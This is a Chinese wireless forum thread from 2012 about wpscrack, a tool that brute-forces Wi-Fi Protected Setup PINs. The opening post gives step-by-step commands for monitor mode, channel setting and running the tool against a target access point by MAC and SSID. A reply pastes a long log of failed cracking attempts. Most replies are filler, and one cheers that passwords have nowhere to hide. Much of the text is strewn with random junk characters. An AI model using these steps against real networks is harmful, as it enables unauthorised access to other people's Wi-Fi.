ubnt解决方案
查看: 47068|回复: 100

[讨论] 喜欢测试的兄弟来吧,与reaver原理相同的另一个穷举软件wpscrack

  [复制链接]

865

回帖

6730

积分

871 小时

在线时间

中校

注册时间
2009-7-24
金币
5626 个
威望
9 个
荣誉
0 个
累计签到:179 天
连续签到:0 天
[LV.200]无线新星
发表于 2012-1-15 18:21 |显示全部楼层
本帖最后由 hwfsd 于 2012-1-16 20:48 编辑 : w( f1 y$ ~8 k, N/ A
$ O: `- d) W! w4 X5 l
测试环境作者用的BackTrack 5R1, ath9k芯片的网卡,考虑到兼容性,能跟作者测试环境相同是最好的了。* h" l) }* b, @
- g, ^/ c% R; K
ps: reaver穷举PIN是0-9999取随机数,wpscrack穷举PIN是0-9999按阿拉伯数字自然排序。0 d, }9 x! v& ~: Y) }/ @& K

  ?# M% r. Y) ~3 v! ~5 ^+ A" K6 m. c& }) QPS:我这里测试的环境跟作者相同,今天测试应该是成功了(图在2楼),但1st阶段越过了AP的真实PIN码前四位(AP真实PIN码前四位是8498,但图4显然已经越过了),由于AP卡死,没测试到最后。" k7 b: @  W3 p1 b8 @0 k8 g! @
+ k  C/ u  M6 F; {3 A
4 p7 H& L3 p6 I" U3 @5 R$ p
闲来无聊,去wpscrack作者的blog仔细看了看http://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/(需要爬墙),好多人测试都不成功,作者强调了2个细节  第一:必须安装scapy2.2.0,且必须是这个版本。 第二:MAC地址的字母必须是小写。% s' x; Y- Y2 h
测试的步骤:
. p& W# M3 |3 T' D  S& H4 R$ g" e1 Y" `, v; X$ t/ ^6 {! s
1. 先安装scapy2.2.0 . U7 q  H5 ?& G" K
- T3 \4 ~3 s/ q- o3 {; Z
   解压进入目录  python setup.py install
2 j- c7 i  U; b$ h! {
6 V* _% Z: f6 R/ ?! q5 D2. 解压 wpscrack进入目录
3 E$ J/ k% Y# V) l+ i6 y  O
5 S- J! `$ Q* s. A5 k% Y+ t. Y1 h   airmon-ng start wlan0
9 r9 X' s* O( }$ t& g
- B) y: W7 M, D3 v) E" A* K5 g; |; Y   iwconfig mon0 channel X (X代表测试AP的信道)
: {3 z( u& Y, g+ Z: Z
6 S; ?2 `) D$ x# e5 P/ K" L7 P* S0 W   ./wpscrack.py --iface mon0 --client xx:xx:xx:xx:xx:xx --bssid yy:yy:yy:yy:yy:yy --ssid TESTAP --dh 0 -v
! U/ E: v) u4 S4 ?: I8 T1 `/ Y
. {/ O2 [6 u! \% ]6 w# ?  b9 V    ps: xx---自己网卡MAC地址   yy---AP的MAC地址  TESTAP----AP的SSID+ r, n% v, t* w4 x# B
6 a% l$ |( `) t
   欢迎测试过的兄弟反馈信息,哪怕有一个成功的也好。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册 微信登录

x
cmcc come

34

回帖

166

积分

22 小时

在线时间

上等兵

注册时间
2016-10-29
金币
104 个
威望
3 个
荣誉
1 个
累计签到:4 天
连续签到:0 天
[LV.20]漫游旅程
发表于 2017-10-25 01:01 |显示全部楼层
帮LZ把贴子顶上去。顺便挣点分
回复

使用道具 举报

865

回帖

6730

积分

871 小时

在线时间

中校

注册时间
2009-7-24
金币
5626 个
威望
9 个
荣誉
0 个
累计签到:179 天
连续签到:0 天
[LV.200]无线新星
发表于 2012-1-15 18:22 |显示全部楼层
本帖最后由 hwfsd 于 2012-1-16 18:34 编辑 + ~3 z7 |/ U4 H5 Z3 w+ V" ]

5 {/ v6 i" f0 o7 C这是今天的测试图,前面3张一切正常。但第4张穷举越过了AP真实PIN的前4位。(真实PIN码前4位8498)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册 微信登录

x
cmcc come
回复

使用道具 举报

557

回帖

5750

积分

548 小时

在线时间

中校

注册时间
2009-4-16
金币
4975 个
威望
26 个
荣誉
0 个
累计签到:301 天
连续签到:0 天
[LV.365]无线熟人
发表于 2012-1-15 18:37 |显示全部楼层
科学研究的道路是曲折的,我顶你,望众多高人都来发挥集体智慧!
回复

使用道具 举报

865

回帖

6730

积分

871 小时

在线时间

中校

注册时间
2009-7-24
金币
5626 个
威望
9 个
荣誉
0 个
累计签到:179 天
连续签到:0 天
[LV.200]无线新星
发表于 2012-1-15 18:38 |显示全部楼层
回复 3# shiyizhe ) J: [1 j% K: B% U% ?
3 }+ M, Z+ T9 G4 y& B
& c2 `" F) \2 v* r$ q/ q3 i
   测试而已,软件人家写好了的。
cmcc come
回复

使用道具 举报

76

回帖

138

积分

22 小时

在线时间

上等兵

注册时间
2012-1-10
金币
60 个
威望
0 个
荣誉
0 个

尚未签到

发表于 2012-1-15 18:51 |显示全部楼层
科学研究的道路是曲折的,我顶你,望众多高人都来发挥集体智慧!
回复

使用道具 举报

300

回帖

1375

积分

555 小时

在线时间

上尉

注册时间
2010-4-14
金币
998 个
威望
3 个
荣誉
0 个
累计签到:59 天
连续签到:0 天
[LV.100]试剑无线
发表于 2012-1-15 18:54 |显示全部楼层
先搞定小胖在来招呼你
回复

使用道具 举报

1405

回帖

1万

积分

1024 小时

在线时间

上校

注册时间
2011-9-4
金币
15576 个
威望
4 个
荣誉
1 个
累计签到:1414 天
连续签到:0 天
[LV.1825]无线元老
发表于 2012-1-15 19:02 |显示全部楼层
看看,学习一下!
回复

使用道具 举报

366

回帖

1126

积分

507 小时

在线时间

上尉

注册时间
2009-8-22
金币
628 个
威望
7 个
荣誉
0 个

尚未签到

发表于 2012-1-15 19:03 |显示全部楼层
望众多高人都来发挥集体智慧!
回复

使用道具 举报

156

回帖

1436

积分

262 小时

在线时间

上尉

注册时间
2009-9-4
金币
1243 个
威望
1 个
荣誉
0 个
累计签到:8 天
连续签到:0 天
[LV.20]漫游旅程
发表于 2012-1-15 19:17 |显示全部楼层
你真好,软件不卖钱,不像其他。。。。。。。
回复

使用道具 举报

3418

回帖

1万

积分

1595 小时

在线时间

上校

注册时间
2010-5-12
金币
8353 个
威望
24 个
荣誉
0 个
累计签到:61 天
连续签到:0 天
[LV.100]试剑无线
发表于 2012-1-15 19:55 |显示全部楼层
你真好,软件不卖钱
回复

使用道具 举报

87

回帖

237

积分

86 小时

在线时间

少尉

注册时间
2009-1-20
金币
130 个
威望
0 个
荣誉
0 个

尚未签到

发表于 2012-1-16 00:15 |显示全部楼层
紧跟lz的脚步 密码无处藏身
回复

使用道具 举报

194

回帖

834

积分

479 小时

在线时间

中尉

注册时间
2009-12-16
金币
546 个
威望
8 个
荣誉
0 个

尚未签到

发表于 2012-1-16 09:28 |显示全部楼层
本帖最后由 bg5uv 于 2012-1-16 10:04 编辑 , X( a! l) ]9 E9 _2 I

$ t9 A& L& w9 K$ F4 D& Jubuntu+8187l没成功。不跑pin.3 L+ i8 M3 \$ l8 I
> M2- i* x4 `# u! [1 M; Y: h7 \. y* O
TIMEOUT!!$ ?$ ]6 u/ g# E1 [3 w; v
-> 802.11 deauthentication2 X7 j, ^7 E+ R" c9 N+ L( L, `
attempt took 5.132 seconds
: |( x1 r: o: X------------------- attempt #69
( ~) ]3 k% |; I; C4 @& kTrying 00000000
' W( f; q, }( f! J# ^$ b8 r-> 802.11 deauthentication
$ z) E9 ?2 a: ^  h7 a9 O-> 802.11 authentication request
: ~# N/ R0 M9 U+ Y5 @5 `% y- n+ D/ T<- 802.11 authentication response: p: n3 o  y$ a' C" R
-> 802.11 association request/ p6 \- W; \* `/ ]
<- 802.11 association response
5 U6 p9 ]6 \$ T; L-> EAPOL start# }8 ~3 V  B" \% A/ k' u8 x" x
<- EAP request identity
4 J# x9 j5 J6 N& z8 y" Q-> EAP response identity2 C8 z) I2 q$ O0 |1 K; Q9 Y
<- M1  B/ L' T. ]6 S' m4 `4 C# n
-> M21 f$ O4 o* A( i( M9 j8 y
TIMEOUT!!- b, q9 r4 O( \4 p1 Z. k8 P
-> 802.11 deauthentication# C5 f' ^0 }6 _4 P: X; r
attempt took 5.125 seconds2 Q) `" v) ?: v. g5 _
------------------- attempt #70
  W% }9 x, ?1 \  m. n% N" p' f7 mTrying 00000000
1 x5 X! D; E( j7 q9 R-> 802.11 deauthentication
* K2 n- z% t* n) t-> 802.11 authentication request$ B" g8 ?9 p# Z$ v
<- 802.11 authentication response- R7 P9 T2 q, g
-> 802.11 association request
0 Y9 P9 [  w4 |/ r<- 802.11 association response
& d" P- ^) f- U2 V-> EAPOL start4 C6 m7 b. j& [' B$ s, c
<- EAP request identity
$ O, J* Y  N# U) y0 _" F  y-> EAP response identity
+ U% m* N- s1 s3 E$ Y<- M1! K5 j' R6 y9 [4 A, S3 L0 r( k
-> M2
1 P  Q2 h7 }* t1 L' aTIMEOUT!!7 q( {  W) j  a0 H& c8 `
-> 802.11 deauthentication' }% d! D5 Q4 w! s% u
attempt took 5.119 seconds5 h0 \4 v6 a3 V  a4 ?: E
------------------- attempt #71
% Q$ u% i3 T$ @0 J+ rTrying 00000000
6 O( {: X( F# M" Q2 G-> 802.11 deauthentication4 b$ q: f2 D  W* S8 U4 S" v  C" J
-> 802.11 authentication request
1 O2 m0 b5 b8 ^# x8 ~<- 802.11 authentication response8 Y* X; k) z/ f7 r5 K( B
-> 802.11 association request
7 s1 e  X  I0 F( P$ I7 _4 M<- 802.11 association response; v& c' I* r+ A- Q5 J7 K; f
-> EAPOL start& X7 G( l7 G- m8 f
<- EAP request identity4 @' {+ \$ l, F0 F6 a9 q
-> EAP response identity9 Q; ?. g3 s% ]; d; V
TIMEOUT!!' ^4 A7 a- B) L9 q
-> 802.11 deauthentication
! c8 K3 y: }* \& b* R9 t/ vattempt took 5.111 seconds
/ q$ s6 ?5 u: k* L% D------------------- attempt #72
4 O  G3 S8 J% p4 g# ~% ~8 i1 yTrying 00000000  ?4 i; u8 H+ I0 v0 m$ d( y6 R
-> 802.11 deauthentication
4 L- d) S/ V9 @/ ]$ g/ I) j( d: h- h-> 802.11 authentication request
5 U7 U0 f7 M; e<- M1
, m! r/ Q+ J: b+ i- S" l-> 802.11 deauthentication
$ F9 E* w- i5 z' a; ~( A3 v5 Gattempt took 1.424 seconds% G% @# U% q1 P) [1 ]; r/ n
------------------- attempt #73
' B' v! U! ~  X8 tTrying 00000000# |, E2 o0 `, Q. O9 _% b" p
-> 802.11 deauthentication
) W% J" m6 E4 l1 _1 m4 E-> 802.11 authentication request
$ t5 {7 L( E2 {6 e<- 802.11 authentication response# s# X- A  ^. W) x% X
-> 802.11 association request
, g/ U5 d8 F$ u5 m+ QTIMEOUT!!. b3 U( `& _  C, B0 [
-> 802.11 deauthentication0 r( G$ p! ^0 A$ v
attempt took 5.199 seconds; G, U5 D5 d$ w& Q5 C# R1 \1 \
------------------- attempt #74
, O" ]5 f, d9 m( n4 zTrying 00000000
8 \: ^0 m* Q5 Q" V! L+ n6 [( q-> 802.11 deauthentication
* y8 O7 W4 O8 B! h1 ]-> 802.11 authentication request
9 s7 Q. Z" k5 Z; i  G0 ^: M+ _/ DTIMEOUT!!
* m0 @1 ]/ K+ g! [-> 802.11 deauthentication
- t$ n, m9 r' a1 X) N0 Rattempt took 5.167 seconds( j9 H. W, `. z8 C7 Y
------------------- attempt #75- g9 n8 k* i+ J# \8 ^' v
Trying 00000000' z. ^) K6 `0 D7 J- R
-> 802.11 deauthentication
; `5 h7 z0 e3 O" c  u3 B-> 802.11 authentication request
: n5 {7 `+ ]7 ?/ t4 f5 ~$ J<- 802.11 authentication response
, F& f* X- `9 l! B; V9 }0 o-> 802.11 association request8 b4 x' ~% b# e' X# I
<- 802.11 association response* X' A3 b- \$ i7 Z+ ~
-> EAPOL start
+ p/ L* L; x, k& C$ g<- EAP request identity
7 p; O0 B" U8 A-> EAP response identity
; d3 x" X) E3 r" @% rTIMEOUT!!
+ V# B$ T  i0 N; v# g  g' W-> 802.11 deauthentication% W& ]  T2 [! q( r
attempt took 5.147 seconds
+ W2 k5 B; [+ |0 M------------------- attempt #764 d* |: r) ^9 n. i! @3 Z  k+ L) K  p
Trying 00000000
6 b$ q/ t9 z1 H; d4 |7 d. n-> 802.11 deauthentication
9 m- w( X& T6 J6 _& ?# w* m) M-> 802.11 authentication request
6 ~6 W7 n8 Z% l5 X<- 802.11 authentication response% I% y( M; X- K6 o  N  H& P8 o
-> 802.11 association request0 Y5 E; H6 ?: c. N9 u, j: E' x: `# e4 i: K
<- 802.11 association response
& l: _: H- r5 I4 w* L  c-> EAPOL start' s+ m9 f* v5 W5 S" j! \
<- EAP request identity" w5 m0 N' E, v! |1 u
-> EAP response identity0 U4 `( f5 `( t, M$ I/ }
<- M1' `3 g, m9 `! s8 J
-> M2
+ U. D) c4 ~, p9 Q; O/ \TIMEOUT!!0 e" F% N5 t% r5 B! n/ t
-> 802.11 deauthentication8 q: {: q- `8 V' ?
attempt took 5.124 seconds
, |( P% q& r6 k------------------- attempt #77
! c5 A& ~: F  @3 G- p4 _, sTrying 000000004 L8 b7 t! D6 S2 b7 A) }8 ]
-> 802.11 deauthentication; |6 h* a! v3 A6 r' N. x! p( f
-> 802.11 authentication request$ d* c" z( ^+ z% c: Y: Z
TIMEOUT!!
6 S, }1 W! R, Q7 }) o-> 802.11 deauthentication( {0 n7 ?" Q4 ^
attempt took 5.146 seconds
, V1 m1 j7 ^, V3 y. Y4 P) _/ M------------------- attempt #78
4 X. o( W# F6 i. z% C& `# Q8 GTrying 00000000; p* u& v6 q+ b, d7 p4 m
-> 802.11 deauthentication5 n; p* @2 a$ a( ?  q/ z
-> 802.11 authentication request# R! H( m( ]: }5 Z2 O6 d% l: s/ j
<- 802.11 authentication response" Y: V, Y+ O5 o
-> 802.11 association request
9 I3 h* B! \9 w# \& _, ]<- 802.11 association response
7 ~" P' t' \4 v- D7 h" B7 u$ t-> EAPOL start
5 x* v; b' u$ s0 ^# @* J2 C<- EAP request identity$ }" _: w' B7 u; T/ V; s$ v9 }
-> EAP response identity
; J* ~# q  J% F( q8 \  n3 L<- M1
8 W8 L! [1 w* d$ C3 l! f+ v# M, r-> M21 O, A, D: ~: Y* X
TIMEOUT!!
* a1 P' U! k5 C9 v+ h1 _-> 802.11 deauthentication, T5 S) j6 W/ W- z* M
attempt took 5.141 seconds
$ I' T# O1 J% W+ X$ k  k! p------------------- attempt #79
' T( d0 |9 x) N  A& I0 pTrying 000000000 T5 ?3 E: h7 ^  y/ |
-> 802.11 deauthentication, O+ i: {( g0 F! D1 w1 I( U
-> 802.11 authentication request: P  H; `4 |% @# e
<- 802.11 authentication response' ^4 G; A) `$ {, l) ^9 |: e/ t
-> 802.11 association request
8 \( d; `; I0 Z9 L$ p1 G+ zTIMEOUT!!
' l9 d' I# \  j' T- e& C1 e! }-> 802.11 deauthentication* `5 i2 C/ @: J
attempt took 5.143 seconds0 v: m8 L- b4 L4 d* _* o
------------------- attempt #80& K! I" Z( l- M# E
Trying 00000000# R0 b- D) ^) X% {* g2 E. ^
-> 802.11 deauthentication
- P- e4 j' S  V; W8 y-> 802.11 authentication request
+ \! h8 G& _: g* {9 ^<- 802.11 authentication response3 y6 j$ S$ t" C6 r+ F
-> 802.11 association request& ^1 g8 ]6 B7 S6 |4 o6 M
<- 802.11 association response
+ B4 G8 f' ]- }9 T-> EAPOL start# q0 i9 a; j! ]5 t
<- EAP request identity2 L) z0 `3 A, A- ?8 f2 Y+ M
-> EAP response identity
- L8 c* |, g5 c. P$ J, t) I<- M1" i9 D  D# K" M
-> M2! {6 Y' H! m/ M1 J
TIMEOUT!!; G3 t3 r( x( U. a5 s3 z
-> 802.11 deauthentication
- S& b+ M& F; y9 `attempt took 5.113 seconds
. W  S4 L! H2 d: F" Q% o% U------------------- attempt #817 a) X, v  g. R5 y- @/ i
Trying 00000000
0 P' |0 R1 z7 L" G-> 802.11 deauthentication
* u- r! L2 X! i& n- G% q3 g-> 802.11 authentication request
1 |. G% c/ Z* ~) E6 |$ r+ e<- 802.11 authentication response
. P; ~  I* d# l" ?-> 802.11 association request% U: H/ G5 G, T) M; W! z- g  I
<- 802.11 association response
' b/ z( O& \  s; N-> EAPOL start2 |% @$ o5 H" s( u7 w
<- EAP request identity  c5 }) {6 u8 P1 t7 }& L) V, W
-> EAP response identity
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册 微信登录

本版积分规则

Archiver | 手机版 | 无线门户 ( 粤ICP备11076993号|粤公网安备44010602008359号 ) |网站地图

GMT+8, 2026-9-5 22:50

返回顶部 返回列表